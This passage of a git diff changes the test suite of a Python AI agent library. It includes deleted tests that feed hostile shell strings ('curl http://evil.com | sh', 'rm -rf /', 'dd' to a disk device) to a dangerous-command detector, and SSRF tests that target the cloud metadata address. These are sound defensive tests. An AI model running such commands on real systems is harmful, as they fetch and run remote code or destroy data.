test_with_prefix(self, agent): - result = agent._extract_balanced_json('some text {"key": "val"} more text') - assert result == '{"key": "val"}' - - def test_no_json(self, agent): - result = agent._extract_balanced_json('no json here') - assert result is None diff --git a/tests/test_basic_tools.py b/tests/test_basic_tools.py deleted file mode 100644 index 944abe5..0000000 --- a/tests/test_basic_tools.py +++ /dev/null @@ -1,228 +0,0 @@ -import os -import unittest -from unittest.mock import patch - -from miniagent.tools.basic_tools import ( - calculator, - get_current_time, - system_info, - system_load, - disk_usage, - file_stats, - web_search, -) - - -class TestCalculator(unittest.TestCase): - def test_addition(self): - result = calculator('2 + 2') - self.assertEqual(result['result'], 4) - - def test_math_functions(self): - result = calculator('sqrt(16)') - self.assertEqual(result['result'], 4.0) - - def test_invalid_expression(self): - result = calculator('import os') - self.assertIn('error', result) - - def test_division_by_zero(self): - result = calculator('1 / 0') - self.assertIn('error', result) - self.assertIn('division by zero', result['error'].lower()) - - def test_complex_expression(self): - result = calculator('2 ** 10') - self.assertEqual(result['result'], 1024) - - -class TestGetCurrentTime(unittest.TestCase): - def test_returns_dict_with_keys(self): - result = get_current_time() - self.assertIn('iso', result) - self.assertIn('formatted', result) - - -class TestSystemInfo(unittest.TestCase): - def test_returns_dict_with_platform(self): - result = system_info() - self.assertIsInstance(result, dict) - self.assertIn('platform', result) - self.assertIn('python_version', result) - - def test_contains_cpu_info(self): - result = system_info() - self.assertIn('processor', result) - - -class TestDiskUsage(unittest.TestCase): - def test_returns_dict(self): - result = disk_usage() - self.assertIsInstance(result, dict) - self.assertIn('total_bytes', result) - self.assertIn('free_bytes', result) - - -class TestFileStats(unittest.TestCase): - def test_existing_directory(self): - result = file_stats('.') - self.assertIsInstance(result, dict) - self.assertIn('file_count', result) - - def test_nonexistent_path(self): - """file_stats raises ValueError for nonexistent paths.""" - with self.assertRaises(ValueError): - file_stats('/nonexistent_path_12345') - - -class TestWebSearch(unittest.TestCase): - def test_missing_api_key(self): - """web_search should return error list when SERPAPI_KEY is missing.""" - with patch.dict(os.environ, {}, clear=True): - # Ensure SERPAPI_KEY is not set - os.environ.pop('SERPAPI_KEY', None) - result = web_search('test query') - self.assertIsInstance(result, list) - self.assertEqual(len(result), 1) - self.assertIn('error', result[0]) - self.assertIn('SERPAPI_KEY', result[0]['error']) - - -class TestSystemLoad(unittest.TestCase): - def test_returns_dict_with_cpu(self): - result = system_load() - self.assertIsInstance(result, dict) - self.assertIn('cpu', result) - self.assertIn('percent', result['cpu']) - self.assertIn('count', result['cpu']) - - def test_load_avg_present(self): - """load_avg should be present (may be None on Windows).""" - result = system_load() - self.assertIn('load_avg', result['cpu']) - - -class TestDangerousPatterns(unittest.TestCase): - def test_curl_pipe_sh_detected(self): - from miniagent.agent import _DANGEROUS_RE - self.assertIsNotNone(_DANGEROUS_RE.search("curl http://evil.com | sh")) - - def test_wget_pipe_sh_detected(self): - from miniagent.agent import _DANGEROUS_RE - self.assertIsNotNone(_DANGEROUS_RE.search("wget http://evil.com | sh")) - - def test_chained_rm_detected(self): - from miniagent.agent import _DANGEROUS_RE - self.assertIsNotNone(_DANGEROUS_RE.search("echo done; rm -rf /")) - - def test_safe_command_not_flagged(self): - from miniagent.agent import _DANGEROUS_RE - self.assertIsNone(_DANGEROUS_RE.search("ls -la")) - self.assertIsNone(_DANGEROUS_RE.search("cat /etc/hostname")) - - -class TestReflectorCopy(unittest.TestCase): - def test_apply_reflection_does_not_mutate_original(self): - from miniagent.utils.reflector import Reflector - reflector = Reflector() # disabled by default (no client) - msgs = [ - {"role": "user", "content": "hello"}, - {"role": "assistant", "content": "world"} - ] - original_content = msgs[1]["content"] - result = reflector.apply_reflection(msgs) - self.assertEqual(msgs[1]["content"], original_content) - - -class TestEnvGetSecurity(unittest.TestCase): - def test_blocks_sensitive_key(self): - from miniagent.tools.basic_tools import env_get - result = env_get("LLM_API_KEY") - self.assertIn("blocked", result.lower()) - - def test_blocks_secret(self): - from miniagent.tools.basic_tools import env_get - result = env_get("MY_SECRET") - self.assertIn("blocked", result.lower()) - - def test_allows_normal_var(self): - from miniagent.tools.basic_tools import env_get - os.environ["TEST_MINIAGENT_VAR"] = "hello" - result = env_get("TEST_MINIAGENT_VAR") - self.assertEqual(result, "hello") - del os.environ["TEST_MINIAGENT_VAR"] - - -class TestEnvSetSecurity(unittest.TestCase): - def test_blocks_sensitive_key(self): - from miniagent.tools.basic_tools import env_set - result = env_set("MY_TOKEN", "abc") - self.assertIn("blocked", result.lower()) - - def test_allows_normal_var(self): - from miniagent.tools.basic_tools import env_set - result = env_set("TEST_MINIAGENT_VAR2", "world") - self.assertEqual(os.environ.get("TEST_MINIAGENT_VAR2"), "world") - del os.environ["TEST_MINIAGENT_VAR2"] - - -class TestHttpRequestSSRF(unittest.TestCase): - def test_blocks_localhost(self): - from miniagent.tools.basic_tools import http_request - with self.assertRaises(ValueError) as ctx: - http_request("http://127.0.0.1/secret") - self.assertIn("private", str(ctx.exception).lower()) - - def test_blocks_metadata_ip(self): - from miniagent.tools.basic_tools import http_request - with self.assertRaises(ValueError) as ctx: - http_request("http://169.254.169.254/latest/meta-data/") - err = str(ctx.exception).lower() - self.assertTrue("private" in err or "link" in err or "blocked" in err) - - def test_blocks_internal_network(self): - from miniagent.tools.basic_tools import http_request - with self.assertRaises(ValueError) as ctx: - http_request("http://192.168.1.1/admin") - self.assertIn("private", str(ctx.exception).lower()) - - -class TestSummarizeToolRole(unittest.TestCase): - def test_tool_role_included_in_summary(self): - from miniagent.agent import MiniAgent - messages = [ - {"role": "system", "content": "system"}, - ] - for i in range(25): - messages.append({"role": "user", "content": f"q{i}"}) - messages.append({"role": "assistant", "content": f"a{i}"}) - messages.append({"role": "tool", "content": f"tool_result_{i}"}) - result = MiniAgent._summarize_messages(messages) - summary_content = result[1]["content"] - self.assertIn("Tool result", summary_content) - - -class TestConfigSafeInt(unittest.TestCase): - def test_invalid_int_uses_default(self): - with patch.dict(os.environ, {"BASH_TIMEOUT": "not_a_number"}): - from miniagent.config import load_config - cfg = load_config() - self.assertEqual(cfg.bash_timeout, 120) - - def test_valid_int_parsed(self): - with patch.dict(os.environ, {"BASH_TIMEOUT": "300"}): - from miniagent.config import load_config - cfg = load_config() - self.assertEqual(cfg.bash_timeout, 300) - - -class TestParseJsonListReturn(unittest.TestCase): - def test_parse_json_returns_list(self): - from miniagent.utils.json_utils import parse_json - result = parse_json('[{"a": 1}, {"b": 2}]') - self.assertIsInstance(result, list) - self.assertEqual(len(result), 2) - - -if __name__ == '__main__': - unittest.main() \ No newline at end of file diff --git a/tests/test_cli_baseline.py b/tests/test_cli_baseline.py deleted file mode 100644 index 79032da..0000000 --- a/tests/test_cli_baseline.py +++ /dev/null @@ -1,22 +0,0 @@ -from unittest.mock import Mock - -from miniagent import legacy_cli as cli - - -def test_current_user_is_not_duplicated(monkeypatch): - agent, memory = Mock(), Mock() - agent.model, agent.tools = "test", [] - agent.run_with_tools.return_value = "done" - monkeypatch.setattr(cli, "_build_agent", lambda args: (agent, memory)) - entries = iter(["unique current request", "/q"]) - monkeypatch.setattr(cli.Prompt, "ask", lambda *a, **k: next(entries)) - monkeypatch.setenv("MINIAGENT_STREAM", "0") - assert cli.main([]) == 0 - query = agent.run_with_tools.call_args.args[0] - assert query.count("unique current request") == 1 - - -def test_key_prefix_is_not_logged(): - import inspect - from miniagent.agent import MiniAgent - assert "api_key[:" not in inspect.getsource(MiniAgent._call_llm) diff --git a/tests/test_cli_runtime.py b/tests/test_cli_runtime.py index 27dccdf..7513cec 100644 --- a/tests/test_cli_runtime.py +++ b/tests/test_cli_runtime.py @@ -62,23 +62,6 @@ def test_config_file_does_not_reuse_wrong_provider_key(tmp_path, monkeypatch): assert load_config(str(path)).llm.api_key is None -def test_legacy_native_uses_core_loop(): - from types import SimpleNamespace as NS - from unittest.mock import Mock, patch - from miniagent import MiniAgent - with patch.object(MiniAgent, "_init_llm_client"): - agent = MiniAgent("test", "fake") - call = NS(id="one", function=NS(name="add", arguments='{"n":2}')) - first = NS(content=None, tool_calls=[call]) - last = NS(content="done", tool_calls=[]) - agent.client = Mock() - agent.client.chat.completions.create.side_effect = [NS(choices=[NS(message=first)]), NS(choices=[NS(message=last)])] - agent.add_tool({"name": "add", "description": "add", "executor": lambda n: n + 1}) - assert agent.run("go", mode="native") == "done" - messages = agent.client.chat.completions.create.call_args.kwargs["messages"] - assert any(m.get("tool_call_id") == "one" and m["content"] == "3" for m in messages) - - def test_cli_shows_failed_exit_and_bounded_parameters(tmp_path): import json import sys diff --git a/tests/test_code_tools.py b/tests/test_code_tools.py index 4f995f0..3d5d5e8 100644 --- a/tests/test_code_tools.py +++ b/tests/test_code_tools.py @@ -1,9 +1,11 @@ """Tests for code_tools (read/write/edit/grep/glob/bash).""" +import asyncio import os import sys import pytest -from miniagent.tools.code_tools import read, write, edit, grep, glob, bash +from miniagent.tools.code_tools import read, write, edit, grep, glob +from miniagent.plugins import shell from miniagent.utils.text_utils import smart_truncate @@ -78,25 +80,23 @@ def test_grep_no_match(self, tmp_workspace): class TestBash: def test_echo(self, tmp_workspace): - result = bash("echo hello") - assert result["exit_code"] == 0 - assert result["stdout"] == "hello" + result = asyncio.run(shell("echo hello", cwd=str(tmp_workspace))) + assert result["exit_code"] == 0 and result["stdout"].strip() == "hello" def test_failing_command(self, tmp_workspace): - result = bash("false") - assert result["exit_code"] != 0 + cmd = f'"{sys.executable}" -c "raise SystemExit(7)"' + assert asyncio.run(shell(cmd, cwd=str(tmp_workspace)))["exit_code"] == 7 def test_timeout(self, tmp_workspace): - result = bash(f'"{sys.executable}" -c "import time; time.sleep(10)"', timeout=1) - assert result["exit_code"] == 1 - assert "timed out" in result["stderr"].lower() + cmd = f'"{sys.executable}" -c "import time; time.sleep(10)"' + with pytest.raises(TimeoutError): + asyncio.run(shell(cmd, cwd=str(tmp_workspace), timeout=1)) def test_bash_timeout_from_env(self, tmp_workspace, monkeypatch): - """bash() with timeout=0 should read BASH_TIMEOUT env var.""" monkeypatch.setenv("BASH_TIMEOUT", "1") - result = bash(f'"{sys.executable}" -c "import time; time.sleep(10)"', timeout=0) - assert result["exit_code"] == 1 - assert "timed out" in result["stderr"].lower() + cmd = f'"{sys.executable}" -c "import time; time.sleep(10)"' + with pytest.raises(TimeoutError): + asyncio.run(shell(cmd, cwd=str(tmp_workspace))) class TestSmartTruncate: @@ -115,3 +115,18 @@ def test_truncation_shows_total(self): text = "x" * 10000 result = smart_truncate(text, 200) assert "10000 total" in result + + + def test_very_small_limit(self): + """smart_truncate with limit < 100 should not produce negative tail_size.""" + text = "A" * 200 + result = smart_truncate(text, 50) + assert len(result) <= 54 # 50 + "..." + assert result.endswith("...") + + + def test_limit_exactly_100(self): + text = "B" * 300 + result = smart_truncate(text, 100) + assert "truncated" in result + assert len(result) < 300 diff --git a/tests/test_config.py b/tests/test_config.py index 885f3cd..a059c7a 100644 --- a/tests/test_config.py +++ b/tests/test_config.py @@ -1,6 +1,5 @@ """Tests for config loading.""" -import os import pytest from miniagent.config import load_config @@ -51,34 +50,9 @@ def test_default_values(self, monkeypatch): assert config.llm.temperature >= 0 assert config.llm.model is not None - def test_configurable_limits_defaults(self, monkeypatch): - monkeypatch.setenv("LLM_API_KEY", "k") - config = load_config() - assert config.bash_timeout == 120 - assert config.bash_max_output == 50000 - assert config.tool_result_limit == 16000 - def test_configurable_limits_from_env(self, monkeypatch): - monkeypatch.setenv("LLM_API_KEY", "k") - monkeypatch.setenv("BASH_TIMEOUT", "300") - monkeypatch.setenv("BASH_MAX_OUTPUT", "100000") - monkeypatch.setenv("TOOL_RESULT_LIMIT", "32000") - config = load_config() - assert config.bash_timeout == 300 - assert config.bash_max_output == 100000 - assert config.tool_result_limit == 32000 - def test_confirm_dangerous_true(self, monkeypatch): - monkeypatch.setenv("LLM_API_KEY", "k") - monkeypatch.setenv("CONFIRM_DANGEROUS", "true") - config = load_config() - assert config.confirm_dangerous is True - def test_confirm_dangerous_false(self, monkeypatch): - monkeypatch.setenv("LLM_API_KEY", "k") - monkeypatch.setenv("CONFIRM_DANGEROUS", "false") - config = load_config() - assert config.confirm_dangerous is False def test_no_api_key_at_all(self, monkeypatch): """Config should still load when no API key is set.""" @@ -94,3 +68,30 @@ def test_no_api_key_at_all(self, monkeypatch): monkeypatch.delenv(key, raising=False) config = load_config() assert config.llm.api_key is None or config.llm.api_key == "" + + +@pytest.mark.parametrize("section,values", [ + ("agent", {"enable_reflection": True}), ("agent", {"default_tools": ["calculator"]}), + ("llm", {"max_tokens": 10}), ("llm", {"max_retries": 3}), +]) +def test_retired_or_unsupported_json_settings_fail_explicitly(tmp_path, section, values): + import json + path = tmp_path / "old.json" + data = {"llm": values} if section == "llm" else values + path.write_text(json.dumps(data)) + with pytest.raises(ValueError, match="Unsupported settings"): + load_config(str(path)) + + +def test_temperature_uses_advertised_environment_and_json_override(tmp_path, monkeypatch): + monkeypatch.setenv("LLM_TEMPERATURE", "0.25") + assert load_config().llm.temperature == 0.25 + path = tmp_path / "config.json" + path.write_text('{"llm":{"temperature":0.5}}') + assert load_config(str(path)).llm.temperature == 0.5 + + +def test_invalid_temperature_has_actionable_error(monkeypatch): + monkeypatch.setenv("LLM_TEMPERATURE", "not-a-number") + with pytest.raises(ValueError, match="LLM_TEMPERATURE must be a number"): + load_config() diff --git a/tests/test_enhancements.py b/tests/test_enhancements.py deleted file mode 100644 index bb40051..0000000 --- a/tests/test_enhancements.py +++ /dev/null @@ -1,338 +0,0 @@ -"""Tests for new agent enhancements: streaming, context mgmt, dangerous cmd check.""" - -import os -import re -import pytest -from types import SimpleNamespace -from unittest.mock import MagicMock, patch - -# Test the dangerous command patterns -from miniagent.agent import _DANGEROUS_RE, MiniAgent -from miniagent.utils.text_utils import smart_truncate - - -class TestDangerousPatterns: - def test_rm_rf(self): - assert _DANGEROUS_RE.search("rm -rf /tmp/data") - - def test_rm_force(self): - assert _DANGEROUS_RE.search("rm --force file.txt") - - def test_sudo(self): - assert _DANGEROUS_RE.search("sudo apt install vim") - - def test_safe_ls(self): - assert not _DANGEROUS_RE.search("ls -la /tmp") - - def test_safe_echo(self): - assert not _DANGEROUS_RE.search("echo hello world") - - def test_safe_rm_single(self): - assert not _DANGEROUS_RE.search("rm file.txt") - - def test_shutdown(self): - assert _DANGEROUS_RE.search("shutdown -h now") - - def test_mkfs(self): - assert _DANGEROUS_RE.search("mkfs.ext4 /dev/sda1") - - def test_dd(self): - assert _DANGEROUS_RE.search("dd if=/dev/zero of=/dev/sda") - - -class TestContextManagement: - def test_short_conversation_unchanged(self): - messages = [ - {"role": "system", "content": "You are helpful"}, - {"role": "user", "content": "hi"}, - {"role": "assistant", "content": "hello"}, - ] - result = MiniAgent._summarize_messages(messages, keep_last=6) - assert result == messages # unchanged - - def test_long_conversation_compressed(self): - messages = [{"role": "system", "content": "system prompt"}] - for i in range(20): - messages.append({"role": "user", "content": f"question {i}"}) - messages.append({"role": "assistant", "content": f"answer {i}"}) - - result = MiniAgent._summarize_messages(messages, keep_last=6) - # Should be: system + summary + last 6 messages = 8 - assert len(result) == 8 - assert result[0]["role"] == "system" - assert "summary" in result[1]["content"].lower() - assert result[-1]["content"] == "answer 19" - - def test_summary_preserves_recent(self): - messages = [{"role": "system", "content": "sys"}] - for i in range(30): - messages.append({"role": "user", "content": f"q{i}"}) - messages.append({"role": "assistant", "content": f"a{i}"}) - - result = MiniAgent._summarize_messages(messages, keep_last=4) - # Last 4 messages should be q29, a29, ... or similar - recent_content = [m["content"] for m in result[-4:]] - assert "a29" in recent_content - assert "q29" in recent_content - - -class TestSmartTruncate: - def test_short_text_unchanged(self): - assert smart_truncate("hello", 100) == "hello" - - def test_long_text_preserves_tail(self): - text = "START" + "x" * 10000 + "END_MARKER" - result = smart_truncate(text, 500) - assert "END_MARKER" in result - assert "START" in result - assert "truncated" in result - - def test_very_small_limit(self): - """smart_truncate with limit < 100 should not produce negative tail_size.""" - text = "A" * 200 - result = smart_truncate(text, 50) - assert len(result) <= 54 # 50 + "..." - assert result.endswith("...") - - def test_limit_exactly_100(self): - text = "B" * 300 - result = smart_truncate(text, 100) - assert "truncated" in result - assert len(result) < 300 - - -class TestCheckDangerous: - @patch("miniagent.agent.MiniAgent._init_llm_client") - def test_safe_command_passes(self, mock_init): - agent = MiniAgent.__new__(MiniAgent) - agent.confirm_dangerous = True - agent.confirm_callback = None - - tool_call = {"name": "bash", "arguments": {"cmd": "ls -la"}} - assert agent._check_dangerous(tool_call) is True - - @patch("miniagent.agent.MiniAgent._init_llm_client") - def test_dangerous_rejected(self, mock_init): - agent = MiniAgent.__new__(MiniAgent) - agent.confirm_dangerous = True - agent.confirm_callback = lambda cmd: False # always reject - - tool_call = {"name": "bash", "arguments": {"cmd": "rm -rf /"}} - assert agent._check_dangerous(tool_call) is False - - @patch("miniagent.agent.MiniAgent._init_llm_client") - def test_dangerous_accepted(self, mock_init): - agent = MiniAgent.__new__(MiniAgent) - agent.confirm_dangerous = True - agent.confirm_callback = lambda cmd: True # always accept - - tool_call = {"name": "bash", "arguments": {"cmd": "sudo rm -rf /tmp/old"}} - assert agent._check_dangerous(tool_call) is True - - @patch("miniagent.agent.MiniAgent._init_llm_client") - def test_non_bash_always_passes(self, mock_init): - agent = MiniAgent.__new__(MiniAgent) - agent.confirm_dangerous = True - agent.confirm_callback = lambda cmd: False - - tool_call = {"name": "read", "arguments": {"path": "/etc/passwd"}} - assert agent._check_dangerous(tool_call) is True - - @patch("miniagent.agent.MiniAgent._init_llm_client") - def test_disabled_always_passes(self, mock_init): - agent = MiniAgent.__new__(MiniAgent) - agent.confirm_dangerous = False - agent.confirm_callback = None - - tool_call = {"name": "bash", "arguments": {"cmd": "rm -rf /"}} - assert agent._check_dangerous(tool_call) is True - - -class _FakeToolCall: - """Minimal stand-in for openai ChatCompletionMessageToolCall.""" - - def __init__(self, call_id: str, name: str = "bash", arguments: str = "{}"): - self.id = call_id - self.type = "function" - self.function = SimpleNamespace(name=name, arguments=arguments) - - -class _FakeMessage: - """Minimal stand-in for openai.ChatCompletionMessage (attributes, not dict).""" - - def __init__(self, role: str, content: str, tool_calls=None): - self.role = role - self.content = content - self.tool_calls = tool_calls - - -class TestContextManagementNativeFC: - """Native FC mode appends OpenAI message objects (not dicts) to history. - - Context compression must handle both dicts and message objects without - crashing when the conversation exceeds MAX_CONTEXT_MESSAGES. - """ - - def test_summarize_handles_mixed_dict_and_object_messages(self): - messages = [{"role": "system", "content": "system prompt"}] - for i in range(20): - messages.append({"role": "user", "content": f"question {i}"}) - messages.append(_FakeMessage("assistant", f"answer {i}")) - messages.append({"role": "tool", "content": f"result {i}"}) - - result = MiniAgent._summarize_messages(messages, keep_last=6) - # Compressed, system preserved, and no crash on message objects - assert len(result) < len(messages) - assert result[0]["role"] == "system" - assert "summary" in result[1]["content"].lower() - assert result[-1]["content"] == "result 19" - - def test_summarize_mixed_below_threshold_unchanged(self): - messages = [{"role": "system", "content": "sys"}] - messages.append({"role": "user", "content": "hi"}) - messages.append(_FakeMessage("assistant", "hello")) - - result = MiniAgent._summarize_messages(messages, keep_last=6) - assert result is messages # unchanged below threshold - - -def _assert_no_orphan_tool_messages(messages): - """Every tool message must be preceded by the assistant(tool_calls) owning it.""" - open_ids = set() - for m in messages: - role = m["role"] if isinstance(m, dict) else m.role - if role == "assistant": - tool_calls = m.get("tool_calls") if isinstance(m, dict) else getattr(m, "tool_calls", None) - open_ids = {tc.id for tc in (tool_calls or [])} - elif role == "tool": - call_id = m["tool_call_id"] if isinstance(m, dict) else m.tool_call_id - assert call_id in open_ids, ( - f"orphaned tool message {call_id!r}: no preceding assistant(tool_calls) " - f"in compressed history" - ) - else: - open_ids = set() - - -def _native_fc_turn(index: int, n_calls: int): - """Build one realistic native FC turn. - - user -> assistant(tool_calls=[n parallel calls]) -> n tool responses - """ - calls = [_FakeToolCall(f"call_{index}_{j}", name="bash") for j in range(n_calls)] - turn = [ - {"role": "user", "content": f"question {index}"}, - _FakeMessage("assistant", None, tool_calls=calls), - ] - for tc in calls: - turn.append({"role": "tool", "tool_call_id": tc.id, "content": f"result {tc.id}"}) - return turn - - -class TestNativeFCToolCallGroupIntegrity: - """Compression must never split an assistant(tool_calls) -> tool responses group. - - The OpenAI API rejects a request containing a `tool` message that is not - preceded by the `assistant` message with the matching `tool_calls`, so a - truncation boundary landing inside a parallel tool-call group would break - the very next request. - """ - - def test_parallel_tool_calls_not_orphaned(self): - messages = [{"role": "system", "content": "system prompt"}] - for i in range(6): - messages.extend(_native_fc_turn(i, n_calls=3)) - - # keep_last=3 lands the naive boundary inside the last group's tool - # responses (group = 1 assistant + 3 tool messages). - result = MiniAgent._summarize_messages(messages, keep_last=3) - - assert len(result) < len(messages) # actually compressed - _assert_no_orphan_tool_messages(result) - # The boundary walked back to the assistant that owns the kept tools. - first_after_summary = result[2] - assert getattr(first_after_summary, "role", None) == "assistant" - assert getattr(first_after_summary, "tool_calls", None) - - @pytest.mark.parametrize("keep_last", list(range(1, 13))) - def test_no_orphans_for_any_boundary(self, keep_last): - """Every boundary must produce a valid sequence, not just a lucky one.""" - messages = [{"role": "system", "content": "system prompt"}] - for i in range(5): - messages.extend(_native_fc_turn(i, n_calls=2)) - - result = MiniAgent._summarize_messages(messages, keep_last=keep_last) - _assert_no_orphan_tool_messages(result) - assert result[0]["role"] == "system" - - @pytest.mark.parametrize("n_calls", [1, 2, 5]) - def test_group_kept_intact_for_varying_parallel_widths(self, n_calls): - messages = [{"role": "system", "content": "sys"}] - for i in range(5): - messages.extend(_native_fc_turn(i, n_calls=n_calls)) - - result = MiniAgent._summarize_messages(messages, keep_last=2) - _assert_no_orphan_tool_messages(result) - - # All tool responses kept must belong to the assistant group kept with them. - kept_tool_ids = { - m["tool_call_id"] for m in result - if isinstance(m, dict) and m.get("role") == "tool" - } - kept_call_ids = set() - for m in result: - for tc in (getattr(m, "tool_calls", None) or []): - kept_call_ids.add(tc.id) - assert kept_tool_ids <= kept_call_ids - - def test_summary_still_produced_when_boundary_moves(self): - """Walking the boundary back must not disable compression entirely.""" - messages = [{"role": "system", "content": "sys"}] - for i in range(8): - messages.extend(_native_fc_turn(i, n_calls=3)) - - result = MiniAgent._summarize_messages(messages, keep_last=3) - assert result[0]["role"] == "system" - assert "summary" in result[1]["content"].lower() - - def test_orphan_tool_messages_dropped_as_last_resort(self): - """A tool message whose assistant parent is gone must be removed.""" - orphan_history = [ - {"role": "tool", "tool_call_id": "call_x", "content": "orphan result"}, - {"role": "user", "content": "next question"}, - ] - cleaned = MiniAgent._drop_orphan_tool_messages(orphan_history) - assert all( - (m["role"] if isinstance(m, dict) else m.role) != "tool" for m in cleaned - ) - _assert_no_orphan_tool_messages(cleaned) - - def test_text_mode_history_unaffected(self): - """Plain user/assistant history keeps the exact keep_last window.""" - messages = [{"role": "system", "content": "sys"}] - for i in range(20): - messages.append({"role": "user", "content": f"q{i}"}) - messages.append({"role": "assistant", "content": f"a{i}"}) - - result = MiniAgent._summarize_messages(messages, keep_last=6) - assert len(result) == 8 # system + summary + 6 - assert result[-1]["content"] == "a19" - - -class TestCallLLMErrorHandling: - @patch("miniagent.agent.MiniAgent._init_llm_client") - def test_missing_api_key_raises_clear_error(self, mock_init): - """Missing API key must raise a clear ValueError, not a TypeError.""" - agent = MiniAgent.__new__(MiniAgent) - agent.api_key = None - agent.model = "test-model" - agent.base_url = None - agent.temperature = 0.7 - agent.client = MagicMock() - agent.use_reflector = False - agent.reflector = None - - # Call the unwrapped function to avoid tenacity retry delays - raw = getattr(MiniAgent._call_llm, "__wrapped__", MiniAgent._call_llm) - with pytest.raises(ValueError, match="API key is not set"): - raw(agent, [{"role": "user", "content": "hi"}]) diff --git a/tests/test_examples.py b/tests/test_examples.py new file mode 100644 index 0000000..9adbf98 --- /dev/null +++ b/tests/test_examples.py @@ -0,0 +1,16 @@ +"""Native examples can be imported without parsing args or making API calls.""" +from pathlib import Path +import runpy + +import pytest + + +@pytest.mark.parametrize("name", ["lean_harness", "custom_tools_example", "skill_example"]) +def test_example_import_does_not_start_an_agent(name, monkeypatch): + from miniagent import Harness + def unexpected(*args, **kwargs): + pytest.fail("Importing an example must not call a model") + monkeypatch.setattr(Harness, "run", unexpected) + path = Path(__file__).resolve().parents[1] / "examples" / f"{name}.py" + module = runpy.run_path(str(path), run_name="example_import_check") + assert callable(module["main"]) diff --git a/tests/test_json_utils.py b/tests/test_json_utils.py deleted file mode 100644 index 9bf7a71..0000000 --- a/tests/test_json_utils.py +++ /dev/null @@ -1,144 +0,0 @@ -"""Tests for miniagent/utils/json_utils.py.""" - -import pytest - -from miniagent.utils.json_utils import ( - parse_json, - extract_json_from_markdown, - extract_tool_call, -) - - -class TestParseJson: - def test_valid_json(self): - result = parse_json('{"key": "value", "num": 42}') - assert result["key"] == "value" - assert result["num"] == 42 - - def test_json_in_markdown_code_block(self): - text = '```json\n{"a": 1}\n```' - result = parse_json(text) - assert result["a"] == 1 - - def test_trailing_comma(self): - result = parse_json('{"a": 1, "b": 2,}') - assert result["a"] == 1 - assert result["b"] == 2 - - def test_completely_invalid_returns_empty_dict(self): - result = parse_json("this is not json at all !!!") - assert result == {} - - def test_nested_json(self): - result = parse_json('{"outer": {"inner": true}}') - assert result["outer"]["inner"] is True - - def test_json_array_string(self): - result = parse_json('[1, 2, 3]') - assert result == [1, 2, 3] - - -class TestExtractJsonFromMarkdown: - def test_extracts_from_json_block(self): - text = 'Some text\n```json\n{"x": 10}\n```\nMore text' - json_str, remaining = extract_json_from_markdown(text) - assert json_str is not None - assert '"x"' in json_str - - def test_no_json_block(self): - json_str, remaining = extract_json_from_markdown("no json here") - # Should return None or empty for the json part - assert json_str is None or json_str == "" - - def test_extracts_bare_braces(self): - text = 'prefix {"name": "test"} suffix' - json_str, _ = extract_json_from_markdown(text) - if json_str is not None: - import json - parsed = json.loads(json_str) - assert parsed["name"] == "test" - - -class TestExtractToolCall: - def test_returns_none_for_no_tool_call(self): - result = extract_tool_call("plain text, no tool call") - assert result is None - - def test_extracts_from_mock_response_dict(self): - mock_response = { - "choices": [{ - "message": { - "tool_calls": [{ - "id": "call_1", - "function": { - "name": "bash", - "arguments": '{"cmd": "ls"}', - }, - }] - } - }] - } - result = extract_tool_call(mock_response) - assert result is not None - assert result["name"] == "bash" - - def test_returns_none_for_empty_dict(self): - result = extract_tool_call({}) - assert result is None - - -class TestCleanJsonString: - """Tests for clean_json_string().""" - - def test_removes_line_comments(self): - from miniagent.utils.json_utils import clean_json_string - result = clean_json_string('{"a": 1} // comment') - assert "//" not in result - assert '"a"' in result - - def test_removes_block_comments(self): - from miniagent.utils.json_utils import clean_json_string - result = clean_json_string('{"a": /* comment */ 1}') - assert "/*" not in result - - def test_removes_trailing_commas(self): - from miniagent.utils.json_utils import clean_json_string - import json - result = clean_json_string('{"a": 1, "b": 2,}') - parsed = json.loads(result) - assert parsed == {"a": 1, "b": 2} - - def test_empty_string(self): - from miniagent.utils.json_utils import clean_json_string - assert clean_json_string("") == "" - - def test_trailing_comma_in_array(self): - from miniagent.utils.json_utils import clean_json_string - import json - result = clean_json_string('[1, 2, 3,]') - parsed = json.loads(result) - assert parsed == [1, 2, 3] - - -class TestParseJsonEdgeCases: - """Edge cases for parse_json().""" - - def test_empty_string_returns_empty_dict(self): - assert parse_json("") == {} - - def test_none_returns_empty_dict(self): - assert parse_json(None) == {} - - def test_list_json(self): - result = parse_json('[1, 2, 3]') - assert result == [1, 2, 3] - - def test_json_with_unescaped_newlines(self): - """JSON with literal newlines in strings should still parse.""" - text = '{"code": "line1\\nline2"}' - result = parse_json(text) - assert "line1" in result.get("code", "") - - def test_deeply_nested(self): - result = parse_json('{"a": {"b": {"c": 1}}}') - assert result["a"]["b"]["c"] == 1 diff --git a/tests/test_memory.py b/tests/test_memory.py deleted file mode 100644 index 6ccea67..0000000 --- a/tests/test_memory.py +++ /dev/null @@ -1,87 +0,0 @@ -"""Tests for miniagent/memory.py.""" - -import json -import pytest -from pathlib import Path - -from miniagent.memory import Memory - - -class TestMemoryCreation: - def test_default_path_is_set(self): - m = Memory() - assert m.path is not None - assert isinstance(m.path, Path) - - def test_custom_path(self, tmp_path): - p = tmp_path / "mem.json" - m = Memory(path=p) - assert m.path == p - - def test_empty_initial_state(self): - m = Memory() - assert m.messages == [] - assert m.preferences == {} - assert m.facts == {} - - -class TestMemoryPush: - def test_push_adds_message(self, tmp_path): - m = Memory(path=tmp_path / "mem.json") - m.push("user", "hello") - assert len(m.messages) == 1 - assert m.messages[0]["role"] == "user" - assert m.messages[0]["content"] == "hello" - - def test_push_trims_to_max(self, tmp_path): - m = Memory(path=tmp_path / "mem.json", max_messages=3) - for i in range(5): - m.push("user", f"msg{i}") - assert len(m.messages) == 3 - assert m.messages[0]["content"] == "msg2" - - -class TestMemoryPreferencesAndFacts: - def test_set_preference(self, tmp_path): - m = Memory(path=tmp_path / "mem.json") - m.set_preference("theme", "dark") - assert m.preferences["theme"] == "dark" - - def test_set_fact(self, tmp_path): - m = Memory(path=tmp_path / "mem.json") - m.set_fact("language", "python") - assert m.facts["language"] == "python" - - -class TestMemorySaveLoad: - def test_save_and_load_roundtrip(self, tmp_path): - p = tmp_path / "mem.json" - m = Memory(path=p) - m.set_preference("editor", "vim") - m.set_fact("os", "linux") - m.push("user", "hi") - m.save() - - m2 = Memory(path=p) - m2.load() - assert m2.preferences["editor"] == "vim" - assert m2.facts["os"] == "linux" - assert len(m2.messages) == 1 - assert m2.messages[0]["content"] == "hi" - - def test_load_missing_file_no_error(self, tmp_path): - m = Memory(path=tmp_path / "nope.json") - m.load() # should not raise - assert m.messages == [] - - -class TestMemoryContext: - def test_context_returns_string(self, tmp_path): - 